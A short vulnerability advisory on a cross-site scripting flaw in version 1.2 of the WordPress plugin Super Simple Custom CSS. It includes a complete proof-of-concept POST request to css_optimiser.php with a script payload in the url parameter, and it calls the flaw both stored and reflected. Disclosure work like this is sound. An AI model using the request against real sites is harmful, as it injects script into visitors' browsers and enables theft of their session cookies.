WordPress Super Simple Custom CSS 1.2 Cross Site Scripting

Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Super Simple Custom CSS 1.2

Super Simple Custom CSS is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:


Demo Request POST:

POST
/wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php
HTTP/1.1
Host: localhost
Content-Length: 167
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
http://localhost//wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php?template=asdsad
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close

css_text=&url=
</script>"><script>alert("XSS")</script>&template=2&custom=&preserve_css=on&compress_c=on&compress_fw=on&case_properties=1&rbs=on&css_level=CSS2.1&post=